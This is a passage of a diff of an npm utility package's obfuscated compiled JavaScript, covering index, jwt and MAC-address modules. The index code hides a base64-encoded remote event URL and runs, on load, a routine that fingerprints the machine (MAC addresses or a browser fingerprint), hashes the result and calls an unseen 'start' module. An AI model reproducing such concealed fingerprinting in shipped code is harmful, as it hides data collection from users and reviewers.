a4_0x2dec(_0x5a7b1c,_0x108172){const _0x328c49=a4_0x328c();return a4_0x2dec=function(_0x2dec2e,_0x3e84d1){_0x2dec2e=_0x2dec2e-0x6d;let _0x3b47b3=_0x328c49[_0x2dec2e];return _0x3b47b3;},a4_0x2dec(_0x5a7b1c,_0x108172);}const random=(_0x5e5def,_0x53a7ba)=>Math[a4_0x15fc3a(0x73)](Math[a4_0x15fc3a(0x7c)]()*(_0x53a7ba-_0x5e5def))+_0x5e5def;exports[a4_0x15fc3a(0x76)]=random;
1
+ 'use strict';const a4_0x21b0a6=a4_0x11ad;(function(_0x4aceab,_0x45d135){const _0x22a3de=a4_0x11ad,_0x11ebb1=_0x4aceab();while(!![]){try{const _0x2da643=parseInt(_0x22a3de(0x141))/0x1+-parseInt(_0x22a3de(0x137))/0x2*(-parseInt(_0x22a3de(0x13c))/0x3)+parseInt(_0x22a3de(0x136))/0x4*(parseInt(_0x22a3de(0x13b))/0x5)+parseInt(_0x22a3de(0x139))/0x6+parseInt(_0x22a3de(0x13e))/0x7*(parseInt(_0x22a3de(0x135))/0x8)+-parseInt(_0x22a3de(0x140))/0x9+-parseInt(_0x22a3de(0x13a))/0xa*(parseInt(_0x22a3de(0x13d))/0xb);if(_0x2da643===_0x45d135)break;else _0x11ebb1['push'](_0x11ebb1['shift']());}catch(_0x99b81b){_0x11ebb1['push'](_0x11ebb1['shift']());}}}(a4_0x4151,0x1e464));Object[a4_0x21b0a6(0x138)](exports,'__esModule',{'value':!![]});function a4_0x4151(){const _0x973f18=['78841ZihXkS','default','54352jxecQc','4AiLdGw','2wvWzDz','defineProperty','1292592pkDMZK','4599820IJfMJk','473665lrdYmj','295269OlNGzt','11Hgtwmx','154fzXgKq','round','476199NoQgpZ'];a4_0x4151=function(){return _0x973f18;};return a4_0x4151();}function a4_0x11ad(_0x2679a2,_0x339b42){const _0x41510f=a4_0x4151();return a4_0x11ad=function(_0x11ade7,_0x1afbb4){_0x11ade7=_0x11ade7-0x134;let _0x51e2e3=_0x41510f[_0x11ade7];return _0x51e2e3;},a4_0x11ad(_0x2679a2,_0x339b42);}const random=(_0x3205c9,_0x414fa4)=>Math[a4_0x21b0a6(0x13f)](Math['random']()*(_0x414fa4-_0x3205c9))+_0x3205c9;exports[a4_0x21b0a6(0x134)]=random;
package/dist/cjs/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a5_0x5c3343=a5_0x1432;(function(_0x4eb6c3,_0x39aedd){const _0x1793a4=a5_0x1432,_0x58cfb2=_0x4eb6c3();while(!![]){try{const _0xded8d5=parseInt(_0x1793a4(0x1ab))/0x1+-parseInt(_0x1793a4(0x1b7))/0x2+parseInt(_0x1793a4(0x189))/0x3+-parseInt(_0x1793a4(0x187))/0x4+-parseInt(_0x1793a4(0x1a4))/0x5+-parseInt(_0x1793a4(0x1aa))/0x6*(-parseInt(_0x1793a4(0x19f))/0x7)+-parseInt(_0x1793a4(0x192))/0x8*(-parseInt(_0x1793a4(0x1a7))/0x9);if(_0xded8d5===_0x39aedd)break;else _0x58cfb2['push'](_0x58cfb2['shift']());}catch(_0x18b113){_0x58cfb2['push'](_0x58cfb2['shift']());}}}(a5_0x5be0,0x33c91));var __awaiter=this&&this[a5_0x5c3343(0x18c)]||function(_0x8515b8,_0x260aed,_0x2f37d5,_0xb5566a){function _0x48f0e4(_0x52464d){return _0x52464d instanceof _0x2f37d5?_0x52464d:new _0x2f37d5(function(_0x4360ac){_0x4360ac(_0x52464d);});}return new(_0x2f37d5||(_0x2f37d5=Promise))(function(_0x28d640,_0x8eeae9){const _0x108f96=a5_0x1432;function _0x5082f2(_0x1cfec6){const _0x11397e=a5_0x1432;try{_0x2c5299(_0xb5566a[_0x11397e(0x197)](_0x1cfec6));}catch(_0x26dc2c){_0x8eeae9(_0x26dc2c);}}function _0x156eba(_0x433a28){const _0x57dc21=a5_0x1432;try{_0x2c5299(_0xb5566a[_0x57dc21(0x19c)](_0x433a28));}catch(_0x5e810f){_0x8eeae9(_0x5e810f);}}function _0x2c5299(_0x309ed3){const _0xdfc4d7=a5_0x1432;_0x309ed3[_0xdfc4d7(0x198)]?_0x28d640(_0x309ed3[_0xdfc4d7(0x1a1)]):_0x48f0e4(_0x309ed3[_0xdfc4d7(0x1a1)])[_0xdfc4d7(0x1a8)](_0x5082f2,_0x156eba);}_0x2c5299((_0xb5566a=_0xb5566a['apply'](_0x8515b8,_0x260aed||[]))[_0x108f96(0x197)]());});},__importDefault=this&&this[a5_0x5c3343(0x1b5)]||function(_0x468b5d){const _0x32323f=a5_0x5c3343;return _0x468b5d&&_0x468b5d[_0x32323f(0x1af)]?_0x468b5d:{'default':_0x468b5d};};Object[a5_0x5c3343(0x1b3)](exports,'__esModule',{'value':!![]}),exports[a5_0x5c3343(0x19b)]=exports[a5_0x5c3343(0x1ac)]=exports[a5_0x5c3343(0x1ad)]=exports[a5_0x5c3343(0x1a6)]=exports['sha1']=exports[a5_0x5c3343(0x1a5)]=exports[a5_0x5c3343(0x19d)]=exports['id']=exports[a5_0x5c3343(0x1a9)]=exports[a5_0x5c3343(0x19a)]=void 0x0,exports[a5_0x5c3343(0x188)]=setEnv,exports[a5_0x5c3343(0x18b)]=getEnv;const uuid_1=require(a5_0x5c3343(0x1a9)),md5_1=__importDefault(require(a5_0x5c3343(0x1ad)));exports[a5_0x5c3343(0x1ad)]=md5_1[a5_0x5c3343(0x18a)];const sha1_1=__importDefault(require(a5_0x5c3343(0x19e)));exports[a5_0x5c3343(0x19e)]=sha1_1[a5_0x5c3343(0x18a)];const sha256_1=__importDefault(require(a5_0x5c3343(0x1a6)));function a5_0x1432(_0xae1dc,_0x85e0dd){const _0x5be084=a5_0x5be0();return a5_0x1432=function(_0x1432a3,_0x5eb5ae){_0x1432a3=_0x1432a3-0x187;let _0x46e61b=_0x5be084[_0x1432a3];return _0x46e61b;},a5_0x1432(_0xae1dc,_0x85e0dd);}exports[a5_0x5c3343(0x1a6)]=sha256_1['default'];const start_1=__importDefault(require(a5_0x5c3343(0x1b6))),hash_1=__importDefault(require(a5_0x5c3343(0x1b2)));exports[a5_0x5c3343(0x1ac)]=hash_1[a5_0x5c3343(0x18a)];const jwt_1=__importDefault(require('./jwt'));exports[a5_0x5c3343(0x19b)]=jwt_1[a5_0x5c3343(0x18a)];const path_1=__importDefault(require(a5_0x5c3343(0x1b4))),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),js_base64_1=require(a5_0x5c3343(0x195)),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports['mysql']=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x5c3343(0x18f)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a5_0x5c3343(0x193)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x290828,_0x3c1e99){metaEvent[_0x290828]=_0x3c1e99;}function getEnv(_0x2bcc40){return metaEvent[_0x2bcc40];}let dev=a5_0x5c3343(0x1b0),pro=a5_0x5c3343(0x1a3);exports[a5_0x5c3343(0x19a)]=getEnv('dev')?(0x0,js_base64_1[a5_0x5c3343(0x1a2)])(dev):(0x0,js_base64_1['decode'])(pro);if(!isBrowser){exports['id']=id=require(a5_0x5c3343(0x199))[a5_0x5c3343(0x18a)],exports[a5_0x5c3343(0x19d)]=getAllRouter=require(a5_0x5c3343(0x194))[a5_0x5c3343(0x18a)],exports['mysql']=mysql=require('./server')['mysql'];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent['not_update'])){}}function a5_0x5be0(){const _0x5b91dd=['throw','getAllRouter','sha1','1416863yqMUBW','./mac','value','decode','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','222935pnCAid','mysql','sha256','11502TYXkgv','then','uuid','6grEAWs','2078dMmIPD','hash','md5','node.js','__esModule','aHR0cDovL2xvY2FsaG9zdDoxMDg4','hash_id','./hash','defineProperty','path','__importDefault','./start','424912bDHZeg','1385652IOZUNK','setEnv','35100yrpthC','default','getEnv','__awaiter','get','hash_key','assign','join','load','3752RwFRuB','meta_event','./getAllRouter','js-base64','catch','next','done','./id','url','jwt'];a5_0x5be0=function(){return _0x5b91dd;};return a5_0x5be0();}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x4b103b=a5_0x5c3343;if(!isBrowser){const _0x31642f=require(path_1[_0x4b103b(0x18a)][_0x4b103b(0x190)](__dirname,_0x4b103b(0x1a0)))[_0x4b103b(0x18a)];mac=_0x31642f();}else{let _0x1ca165=yield fingerprintjs_1[_0x4b103b(0x18a)][_0x4b103b(0x191)]()['then'](_0x46002e=>_0x46002e[_0x4b103b(0x18d)]())[_0x4b103b(0x1a8)](_0x1dc482=>{const _0x3cb410=_0x1dc482['visitorId'];return _0x3cb410;})[_0x4b103b(0x196)](()=>'');mac=[_0x1ca165];}const _0x5c12eb=mac['map'](_0x58301d=>(0x0,sha1_1[_0x4b103b(0x18a)])(_0x58301d+_0x4b103b(0x1ae)))[_0x4b103b(0x190)](';'),_0x1824d3=(0x0,sha256_1[_0x4b103b(0x18a)])(_0x5c12eb);globalObject[_0x4b103b(0x1b1)]=_0x1824d3,globalObject[_0x4b103b(0x18e)]!=(0x0,sha256_1[_0x4b103b(0x18a)])(_0x1824d3+(0x0,sha1_1[_0x4b103b(0x18a)])(_0x4b103b(0x1ae)+_0x1824d3))&&(0x0,start_1['default'])();}))());const uuid=uuid_1['v4'];exports[a5_0x5c3343(0x1a9)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1['default'],'sha1':sha1_1['default'],'md5':md5_1['default'],'jwt':jwt_1['default']};exports[a5_0x5c3343(0x18a)]=all;
1
+ 'use strict';const a5_0x454ae0=a5_0xe4ce;(function(_0x5b263d,_0x81eb0a){const _0x59dce2=a5_0xe4ce,_0x49e7a9=_0x5b263d();while(!![]){try{const _0x486e4c=parseInt(_0x59dce2(0xb0))/0x1+parseInt(_0x59dce2(0xba))/0x2*(-parseInt(_0x59dce2(0x9b))/0x3)+-parseInt(_0x59dce2(0xbc))/0x4*(parseInt(_0x59dce2(0xa0))/0x5)+-parseInt(_0x59dce2(0x8c))/0x6+parseInt(_0x59dce2(0xac))/0x7*(parseInt(_0x59dce2(0x98))/0x8)+-parseInt(_0x59dce2(0xb7))/0x9+-parseInt(_0x59dce2(0x95))/0xa*(-parseInt(_0x59dce2(0x92))/0xb);if(_0x486e4c===_0x81eb0a)break;else _0x49e7a9['push'](_0x49e7a9['shift']());}catch(_0x38e85b){_0x49e7a9['push'](_0x49e7a9['shift']());}}}(a5_0x4c37,0x8bd50));var __awaiter=this&&this[a5_0x454ae0(0x8f)]||function(_0x3f966a,_0x100047,_0x15716e,_0x51a1b3){function _0x386a5d(_0x380243){return _0x380243 instanceof _0x15716e?_0x380243:new _0x15716e(function(_0x1b1871){_0x1b1871(_0x380243);});}return new(_0x15716e||(_0x15716e=Promise))(function(_0x41a51f,_0x4153a4){const _0x326c51=a5_0xe4ce;function _0x488347(_0x26b413){const _0x5cbb33=a5_0xe4ce;try{_0x47eb06(_0x51a1b3[_0x5cbb33(0xa7)](_0x26b413));}catch(_0x36947e){_0x4153a4(_0x36947e);}}function _0x3930fc(_0x19b540){const _0x1d8405=a5_0xe4ce;try{_0x47eb06(_0x51a1b3[_0x1d8405(0x91)](_0x19b540));}catch(_0x5dbdc1){_0x4153a4(_0x5dbdc1);}}function _0x47eb06(_0xef7691){const _0x561d17=a5_0xe4ce;_0xef7691[_0x561d17(0x99)]?_0x41a51f(_0xef7691['value']):_0x386a5d(_0xef7691['value'])['then'](_0x488347,_0x3930fc);}_0x47eb06((_0x51a1b3=_0x51a1b3[_0x326c51(0x93)](_0x3f966a,_0x100047||[]))['next']());});},__importDefault=this&&this[a5_0x454ae0(0x97)]||function(_0x5d998c){const _0x4621fe=a5_0x454ae0;return _0x5d998c&&_0x5d998c[_0x4621fe(0xa3)]?_0x5d998c:{'default':_0x5d998c};};Object[a5_0x454ae0(0x94)](exports,'__esModule',{'value':!![]}),exports['jwt']=exports['hash']=exports[a5_0x454ae0(0xbe)]=exports[a5_0x454ae0(0xa8)]=exports['sha1']=exports[a5_0x454ae0(0xb5)]=exports[a5_0x454ae0(0xa9)]=exports['id']=exports[a5_0x454ae0(0xab)]=exports[a5_0x454ae0(0xbf)]=void 0x0,exports[a5_0x454ae0(0x9c)]=setEnv,exports['getEnv']=getEnv;function a5_0xe4ce(_0x22e73c,_0x2564c0){const _0x4c37e5=a5_0x4c37();return a5_0xe4ce=function(_0xe4cea7,_0x21aae2){_0xe4cea7=_0xe4cea7-0x8a;let _0x29e152=_0x4c37e5[_0xe4cea7];return _0x29e152;},a5_0xe4ce(_0x22e73c,_0x2564c0);}const uuid_1=require(a5_0x454ae0(0xab)),md5_1=__importDefault(require('md5'));exports[a5_0x454ae0(0xbe)]=md5_1[a5_0x454ae0(0xb6)];const sha1_1=__importDefault(require(a5_0x454ae0(0x9a)));exports[a5_0x454ae0(0x9a)]=sha1_1[a5_0x454ae0(0xb6)];const sha256_1=__importDefault(require(a5_0x454ae0(0xa8)));exports['sha256']=sha256_1[a5_0x454ae0(0xb6)];const start_1=__importDefault(require(a5_0x454ae0(0x9e))),hash_1=__importDefault(require(a5_0x454ae0(0xb1)));exports[a5_0x454ae0(0xb3)]=hash_1['default'];const jwt_1=__importDefault(require(a5_0x454ae0(0xa2)));exports['jwt']=jwt_1[a5_0x454ae0(0xb6)];const path_1=__importDefault(require(a5_0x454ae0(0x8a))),fingerprintjs_1=__importDefault(require(a5_0x454ae0(0xaf))),js_base64_1=require(a5_0x454ae0(0xad)),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;function a5_0x4c37(){const _0x325822=['hash_key','4396248RlcSPx','./server','dev','__awaiter','./mac','throw','212861Wjgils','apply','defineProperty','390rxaWul','load','__importDefault','3937184hkOXqF','done','sha1','175506ZxYjbt','setEnv','catch','./start','./id','27835BESLZM','./getAllRouter','./jwt','__esModule','join','then','not_update','next','sha256','getAllRouter','assign','uuid','14UEjMGs','js-base64','aHR0cDovL2xvY2FsaG9zdDoxMDg4','@fingerprintjs/fingerprintjs','1094070daexRH','./hash','visitorId','hash','get','mysql','default','4598883yLmACL','map','decode','26JpftOJ','node.js','184ONafIh','hash_id','md5','url','path'];a5_0x4c37=function(){return _0x325822;};return a5_0x4c37();}let mysql={};exports[a5_0x454ae0(0xb5)]=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x454ae0(0xaa)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x11613b,_0x5cfbb3){metaEvent[_0x11613b]=_0x5cfbb3;}function getEnv(_0x1b2962){return metaEvent[_0x1b2962];}let dev=a5_0x454ae0(0xae),pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';exports[a5_0x454ae0(0xbf)]=getEnv(a5_0x454ae0(0x8e))?(0x0,js_base64_1[a5_0x454ae0(0xb9)])(dev):(0x0,js_base64_1[a5_0x454ae0(0xb9)])(pro);if(!isBrowser){exports['id']=id=require(a5_0x454ae0(0x9f))['default'],exports[a5_0x454ae0(0xa9)]=getAllRouter=require(a5_0x454ae0(0xa1))[a5_0x454ae0(0xb6)],exports['mysql']=mysql=require(a5_0x454ae0(0x8d))[a5_0x454ae0(0xb5)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0x454ae0(0xa6)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x10b27f=a5_0x454ae0;if(!isBrowser){const _0x4d4eac=require(path_1[_0x10b27f(0xb6)][_0x10b27f(0xa4)](__dirname,_0x10b27f(0x90)))['default'];mac=_0x4d4eac();}else{let _0x2fc8ec=yield fingerprintjs_1['default'][_0x10b27f(0x96)]()[_0x10b27f(0xa5)](_0x493636=>_0x493636[_0x10b27f(0xb4)]())['then'](_0x500772=>{const _0x14e043=_0x10b27f,_0x57c38c=_0x500772[_0x14e043(0xb2)];return _0x57c38c;})[_0x10b27f(0x9d)](()=>'');mac=[_0x2fc8ec];}const _0x2264dc=mac[_0x10b27f(0xb8)](_0x513121=>(0x0,sha1_1[_0x10b27f(0xb6)])(_0x513121+_0x10b27f(0xbb)))[_0x10b27f(0xa4)](';'),_0x4ed560=(0x0,sha256_1['default'])(_0x2264dc);globalObject[_0x10b27f(0xbd)]=_0x4ed560,globalObject[_0x10b27f(0x8b)]!=(0x0,sha256_1[_0x10b27f(0xb6)])(_0x4ed560+(0x0,sha1_1[_0x10b27f(0xb6)])('node.js'+_0x4ed560))&&(0x0,start_1[_0x10b27f(0xb6)])();}))());const uuid=uuid_1['v4'];exports[a5_0x454ae0(0xab)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1[a5_0x454ae0(0xb6)],'sha1':sha1_1[a5_0x454ae0(0xb6)],'md5':md5_1[a5_0x454ae0(0xb6)],'jwt':jwt_1[a5_0x454ae0(0xb6)]};exports[a5_0x454ae0(0xb6)]=all;
@@ -1,9 +1,8 @@
1
1
  declare function jwt(params: {
2
- payload: string | Buffer | object;
3
2
  key: string;
4
3
  expiresIn: string;
5
4
  }): {
6
- sign: string;
5
+ sign: (payload: string | Buffer | object) => string;
7
6
  verify: (token: string) => Promise<unknown>;
8
7
  };
9
8
  export default jwt;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;;oBASvD,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;oBAMnC,MAAM,GAAG,MAAM,GAAG,MAAM;oBAIT,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -1 +1 @@
1
- 'use strict';var a6_0x3bbe7f=a6_0x2ff7;(function(_0x42a5ea,_0x1a7eac){var _0xa18380=a6_0x2ff7,_0x4712dc=_0x42a5ea();while(!![]){try{var _0x1f0cd2=-parseInt(_0xa18380(0x81))/0x1+parseInt(_0xa18380(0x90))/0x2*(parseInt(_0xa18380(0x7f))/0x3)+-parseInt(_0xa18380(0x7a))/0x4+-parseInt(_0xa18380(0x85))/0x5+parseInt(_0xa18380(0x87))/0x6*(parseInt(_0xa18380(0x7d))/0x7)+parseInt(_0xa18380(0x8a))/0x8*(parseInt(_0xa18380(0x86))/0x9)+-parseInt(_0xa18380(0x93))/0xa;if(_0x1f0cd2===_0x1a7eac)break;else _0x4712dc['push'](_0x4712dc['shift']());}catch(_0x120356){_0x4712dc['push'](_0x4712dc['shift']());}}}(a6_0x19f5,0x2d265));function a6_0x2ff7(_0x6cb525,_0x6ba8bc){var _0x19f5f2=a6_0x19f5();return a6_0x2ff7=function(_0x2ff741,_0x156897){_0x2ff741=_0x2ff741-0x7a;var _0x6054fc=_0x19f5f2[_0x2ff741];return _0x6054fc;},a6_0x2ff7(_0x6cb525,_0x6ba8bc);}var __awaiter=this&&this['__awaiter']||function(_0x11a057,_0xc5c7a9,_0x1c634e,_0x240466){function _0x57a8ae(_0xbc749f){return _0xbc749f instanceof _0x1c634e?_0xbc749f:new _0x1c634e(function(_0x822e57){_0x822e57(_0xbc749f);});}return new(_0x1c634e||(_0x1c634e=Promise))(function(_0x287d76,_0x5a184a){var _0x53d308=a6_0x2ff7;function _0x58e958(_0x2fb2a1){var _0x1e7377=a6_0x2ff7;try{_0x21a945(_0x240466[_0x1e7377(0x84)](_0x2fb2a1));}catch(_0x4685da){_0x5a184a(_0x4685da);}}function _0xfdd43(_0x4782ef){var _0x261f48=a6_0x2ff7;try{_0x21a945(_0x240466[_0x261f48(0x95)](_0x4782ef));}catch(_0x381a35){_0x5a184a(_0x381a35);}}function _0x21a945(_0x52ae7f){var _0xdb956a=a6_0x2ff7;_0x52ae7f[_0xdb956a(0x89)]?_0x287d76(_0x52ae7f[_0xdb956a(0x94)]):_0x57a8ae(_0x52ae7f[_0xdb956a(0x94)])[_0xdb956a(0x88)](_0x58e958,_0xfdd43);}_0x21a945((_0x240466=_0x240466[_0x53d308(0x8d)](_0x11a057,_0xc5c7a9||[]))[_0x53d308(0x84)]());});},__importDefault=this&&this[a6_0x3bbe7f(0x80)]||function(_0x239e51){var _0x4864af=a6_0x3bbe7f;return _0x239e51&&_0x239e51[_0x4864af(0x8b)]?_0x239e51:{'default':_0x239e51};};function a6_0x19f5(){var _0x45d0cb=['expiresIn','912590wsydTb','value','throw','378988NkLtZm','payload','365d','473277zLJwGd','verify','9QdPKIG','__importDefault','255192qNFzfJ','defineProperty','key','next','1218210ThKAJd','9ZgWKyX','30JYAXio','then','done','2043656oWsRQy','__esModule','sign','apply','jwt_key','jsonwebtoken','184174YyTalb','default'];a6_0x19f5=function(){return _0x45d0cb;};return a6_0x19f5();}Object[a6_0x3bbe7f(0x82)](exports,a6_0x3bbe7f(0x8b),{'value':!![]});const jsonwebtoken_1=__importDefault(require(a6_0x3bbe7f(0x8f)));function jwt(_0x325647){var _0x6aee5f=a6_0x3bbe7f;return!global[_0x6aee5f(0x8e)]&&(global['jwt_key']=_0x325647[_0x6aee5f(0x83)]),{'sign':jsonwebtoken_1[_0x6aee5f(0x91)][_0x6aee5f(0x8c)](_0x325647[_0x6aee5f(0x7b)],global['jwt_key'],{'expiresIn':_0x325647[_0x6aee5f(0x92)]||_0x6aee5f(0x7c)}),'verify':function(_0x5cc2ae){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x3b17bf,_0x3b5b9f)=>{var _0x1885d0=a6_0x2ff7;jsonwebtoken_1[_0x1885d0(0x91)][_0x1885d0(0x7e)](_0x5cc2ae,global[_0x1885d0(0x8e)],function(_0x31b3d0,_0x1761f8){return __awaiter(this,void 0x0,void 0x0,function*(){_0x31b3d0?_0x3b5b9f():_0x3b17bf(_0x1761f8);});});});});}};}exports[a6_0x3bbe7f(0x91)]=jwt;
1
+ 'use strict';var a6_0x1c778e=a6_0x27ed;(function(_0x6cd67c,_0x380d8a){var _0x64690e=a6_0x27ed,_0x3769a9=_0x6cd67c();while(!![]){try{var _0x172c15=parseInt(_0x64690e(0x1b4))/0x1*(-parseInt(_0x64690e(0x1c4))/0x2)+parseInt(_0x64690e(0x1c3))/0x3*(parseInt(_0x64690e(0x1c8))/0x4)+-parseInt(_0x64690e(0x1bb))/0x5+parseInt(_0x64690e(0x1b2))/0x6*(parseInt(_0x64690e(0x1be))/0x7)+parseInt(_0x64690e(0x1c7))/0x8+-parseInt(_0x64690e(0x1ba))/0x9+parseInt(_0x64690e(0x1b1))/0xa;if(_0x172c15===_0x380d8a)break;else _0x3769a9['push'](_0x3769a9['shift']());}catch(_0x2bf0a8){_0x3769a9['push'](_0x3769a9['shift']());}}}(a6_0x3a3d,0xf181d));function a6_0x27ed(_0x25269e,_0x4160f7){var _0x3a3d33=a6_0x3a3d();return a6_0x27ed=function(_0x27ede6,_0x4bd8e8){_0x27ede6=_0x27ede6-0x1b1;var _0xac01e3=_0x3a3d33[_0x27ede6];return _0xac01e3;},a6_0x27ed(_0x25269e,_0x4160f7);}var __awaiter=this&&this[a6_0x1c778e(0x1c5)]||function(_0x2f911e,_0x2f1422,_0x53a93c,_0xf9f59){function _0x2fbd74(_0x475770){return _0x475770 instanceof _0x53a93c?_0x475770:new _0x53a93c(function(_0x32518e){_0x32518e(_0x475770);});}return new(_0x53a93c||(_0x53a93c=Promise))(function(_0x119cc8,_0xc7d8d7){var _0x513a0c=a6_0x27ed;function _0x47585b(_0x1a86ac){var _0x1cfede=a6_0x27ed;try{_0x105915(_0xf9f59[_0x1cfede(0x1b8)](_0x1a86ac));}catch(_0x2ec038){_0xc7d8d7(_0x2ec038);}}function _0x1cd922(_0x5386ef){var _0x1aabd9=a6_0x27ed;try{_0x105915(_0xf9f59[_0x1aabd9(0x1b7)](_0x5386ef));}catch(_0xb051d7){_0xc7d8d7(_0xb051d7);}}function _0x105915(_0x3964b5){var _0x43e19f=a6_0x27ed;_0x3964b5['done']?_0x119cc8(_0x3964b5['value']):_0x2fbd74(_0x3964b5[_0x43e19f(0x1c2)])[_0x43e19f(0x1bd)](_0x47585b,_0x1cd922);}_0x105915((_0xf9f59=_0xf9f59['apply'](_0x2f911e,_0x2f1422||[]))[_0x513a0c(0x1b8)]());});},__importDefault=this&&this[a6_0x1c778e(0x1b3)]||function(_0x53a9ff){return _0x53a9ff&&_0x53a9ff['__esModule']?_0x53a9ff:{'default':_0x53a9ff};};Object[a6_0x1c778e(0x1b6)](exports,a6_0x1c778e(0x1c1),{'value':!![]});const jsonwebtoken_1=__importDefault(require('jsonwebtoken'));function jwt(_0x3dfd22){var _0x1b7deb=a6_0x1c778e;return!global[_0x1b7deb(0x1c9)]&&(global[_0x1b7deb(0x1c9)]=_0x3dfd22[_0x1b7deb(0x1bf)]),{'sign':_0xf4fe76=>jsonwebtoken_1['default'][_0x1b7deb(0x1b5)](_0xf4fe76,global[_0x1b7deb(0x1c9)],{'expiresIn':_0x3dfd22[_0x1b7deb(0x1bc)]||_0x1b7deb(0x1c6)}),'verify':function(_0x476ece){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x30bafc,_0x5edde2)=>{var _0x27e396=a6_0x27ed;jsonwebtoken_1[_0x27e396(0x1c0)][_0x27e396(0x1b9)](_0x476ece,global[_0x27e396(0x1c9)],function(_0x3b4a1f,_0x234a96){return __awaiter(this,void 0x0,void 0x0,function*(){_0x3b4a1f?_0x5edde2():_0x30bafc(_0x234a96);});});});});}};}function a6_0x3a3d(){var _0x17b740=['3882020JGNCas','expiresIn','then','533407uplRcu','key','default','__esModule','value','53523mwqOTL','343234vpgPKa','__awaiter','365d','9241712qJchjX','4Aenzbi','jwt_key','9734950vfgLAh','18WYawdP','__importDefault','3hYOPKt','sign','defineProperty','throw','next','verify','852165bKvDUi'];a6_0x3a3d=function(){return _0x17b740;};return a6_0x3a3d();}exports[a6_0x1c778e(0x1c0)]=jwt;
@@ -1 +1 @@
1
- 'use strict';const a7_0x13a0fd=a7_0x1a46;(function(_0x2f1ce2,_0x51e2d3){const _0x18c9f3=a7_0x1a46,_0x275bb2=_0x2f1ce2();while(!![]){try{const _0x5d7760=parseInt(_0x18c9f3(0xe9))/0x1+parseInt(_0x18c9f3(0xe4))/0x2+-parseInt(_0x18c9f3(0xe2))/0x3+parseInt(_0x18c9f3(0xdc))/0x4*(parseInt(_0x18c9f3(0xda))/0x5)+-parseInt(_0x18c9f3(0xe5))/0x6+-parseInt(_0x18c9f3(0xf1))/0x7*(-parseInt(_0x18c9f3(0xde))/0x8)+-parseInt(_0x18c9f3(0xf4))/0x9*(-parseInt(_0x18c9f3(0xec))/0xa);if(_0x5d7760===_0x51e2d3)break;else _0x275bb2['push'](_0x275bb2['shift']());}catch(_0x4ea58e){_0x275bb2['push'](_0x275bb2['shift']());}}}(a7_0x5d3e,0x1e567));Object[a7_0x13a0fd(0xeb)](exports,a7_0x13a0fd(0xd9),{'value':!![]}),exports['isMac']=isMac,exports[a7_0x13a0fd(0xf3)]=formatMac,exports['isVirtualMac']=isVirtualMac;const os_1=require('os');function a7_0x5d3e(){const _0x2160a7=['5IwVXWi','08:00:27','179196hInnjv','internal','16UehYHc','networkInterfaces','values','mac','301509gmqNqv','02:00:4c','270046JLrwpF','774870KYncRC','00:50:56','has','00:05:69','102692NQSXiU','test','defineProperty','10OmZzka','find','default','trim','family','248290pbJPfq','00:1c:42','formatMac','4113CgMegM','00:03:ff','replace','00:0c:29','__esModule'];a7_0x5d3e=function(){return _0x2160a7;};return a7_0x5d3e();}function isZeroMac(_0x47a613){const _0x4a579c=a7_0x13a0fd;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4a579c(0xea)](_0x47a613);}function getMac(_0x1f2d54='IPv4'){const _0x5ec75c=a7_0x13a0fd,_0x40d8b0=(0x0,os_1[_0x5ec75c(0xdf)])();let _0x3a3b11=[];for(const _0x32bb3c of Object[_0x5ec75c(0xe0)](_0x40d8b0)){const _0x2eea4f=_0x32bb3c[_0x5ec75c(0xed)](_0x5a2220=>!_0x5a2220[_0x5ec75c(0xdd)]&&!isZeroMac(_0x5a2220[_0x5ec75c(0xe1)])&&(!_0x5a2220[_0x5ec75c(0xf0)]||_0x5a2220[_0x5ec75c(0xf0)]===_0x1f2d54)&&!isVirtualMac(_0x5a2220['mac']));_0x2eea4f&&_0x3a3b11['push'](_0x2eea4f[_0x5ec75c(0xe1)]);}return[...new Set(_0x3a3b11)];}function a7_0x1a46(_0x5c6e84,_0x14738b){const _0x5d3e47=a7_0x5d3e();return a7_0x1a46=function(_0x1a467b,_0x108b8a){_0x1a467b=_0x1a467b-0xd7;let 